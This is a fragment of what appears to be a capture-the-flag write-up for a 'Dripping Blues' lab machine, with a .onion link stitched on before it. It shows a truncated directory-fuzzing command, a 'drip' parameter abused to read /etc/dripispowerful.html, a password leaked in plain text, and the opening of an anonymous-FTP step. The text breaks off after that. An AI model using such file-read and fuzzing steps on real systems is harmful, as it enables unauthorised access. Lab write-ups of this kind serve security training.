http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=dripping_blues
FUZZ=/etc/dripispowerful.html -w /path/to/wordlists/directory-list-1.0.txt This revealed a parameter named "drip" that could be used to access the file: drip [Status: 200, Size: 590, Words: 52, Lines: 41, Duration: 4ms] Accessing http://[TARGET_IP]/?drip=/etc/dripispowerful.html provided a password: password is:
imdrippinbiatch FTP Exploration While testing the discovered password against SSH, I also examined the FTP service that allowed anonymous access:...